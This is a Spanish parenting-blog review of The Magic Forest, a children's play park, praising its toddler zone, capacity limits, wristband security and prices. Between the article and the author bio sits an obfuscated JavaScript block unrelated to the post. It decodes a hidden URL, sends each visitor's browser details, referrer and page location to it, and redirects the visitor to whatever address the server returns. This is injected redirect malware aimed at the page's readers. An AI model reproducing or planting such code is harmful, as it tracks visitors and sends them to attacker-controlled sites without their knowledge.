The Magic Forest, ocio para toda la familia

Lo malo de estos meses de noviembre-diciembre-enero es que hace frío, el sol se esconde demasiado pronto y las oportunidades de ocio se reducen bastante. Nosotros somos mucho de ir de casa de amigos en casa de amigos, pero para que luego a nadie le toque recoger los miles de juguetes que se quedan por todos los rincones del salón y del resto de habitaciones, el domingo pasado decidimos hacer nuestra primera visita al parque infantil The Magic Forest.

Siempre que vamos al cine a Kinépolis lo vemos anunciado, The Magic Forest, pero nunca, hasta el domingo pasado, nos habíamos aventurado a pasar una tarde entre sus flores trepadoras, sus laberintos secretos y su volcán sólo reservado para los más intrépidos. Y pensando, buscando y seleccionando un lugar de recreo para una niña de 5 años y una pequeña de 19 meses, nos acordamos de él, The Magic Forest. A los cuatro miembros de mi casa nos gustó y a continuación te doy mis razones.

1. Algo más que un parque de bolas. Tiene su gigantesca zona con colchonetas, laberintos, toboganes, pero además otro tipo de áreas donde los niños pueden saltar, correr, gritar y hasta trepar. ¡Qué pena que los mayores no podamos hacer uso de ellas! ¿Por qué en nuestra época no había este tipo de centros?
MAGIC_FOREST_MAGIC_FOREST_BenjaminZone12. Benjamin Zone. Este fue nuestro principal reclamo para acudir a The Magic Forest, y es que no en todos los parques infantiles tienes una zona para mayores y otra para más pequeños. Ana, de 18 meses, se lo pasó pipa y no quería salir de “su mini-seta”.
3. El aforo está muy controlado. Si llegas y está completo, no puedes pasar; por eso te recomiendo que reserves las entradas por internet en su página web y así te aseguras que accedes sin ningún problema. Puede fastidiar si te plantas allí y no entras, pero también se agradece que se controle el aforo al recinto y se eviten aglomeraciones.
4. Mucha seguridad para el niño. El pequeño entra al recinto con una pulsera que lleva escrito tu DNI y durante la estancia allí, tú también portarás una igual. Al recoger al niño e intentar salir, los dos tenéis que enseñarla.
5. Excelente relación-calidad precio. Tiene distintas opciones (cumple, visitar regular de una hora, de dos…). Nosotros cogimos la de 2 horas y el precio está bastante bien para todo lo que te encuentras dentro: 9,50 euros por niño.
6. Ocio para mayores. Según leímos en un planfleto informativo, existe la opción de dejar al niño/s e irte a Kinépolis a ver una película. En esta ocasión nosotros nos quedamos en el área del bar, que está comunicada con la de juegos. De esta manera, la mayor podía pasar por nuestra mesa cada vez que quería que la acompañase al baño o para contarnos lo bien que se lo estaba pasando.

Amigos The Magic Forest, prometemos repetir muy pronto. Eso, o Elena, mi hija mayor, nos mata.

 
var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

Sobre Diana

Soy periodista, emprendedora, amante del teatro (sobre todo infantil) y de los buenos planes (en familia, en pareja, entre amigos, en solitario...). Un día, después de un montón de casualidades, decidí lanzarme a la aventura de poner en marcha mi propio proyecto profesional: Mamá tiene un Plan. Hoy, tengo tres peques y muchas ilusiones, a los que dedico todo mi tiempo y energía. En el viaje me acompaña un hombre maravilloso (al que dedico menos tiempo del que me gustaría y quiero con locura) y una gran familia a la que adoro que hace posible que todo lo demás siga girando. @Diana_M_N

2 comentarios en “The Magic Forest, ocio para toda la familia

Responder a José Marcelino Cancelar respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *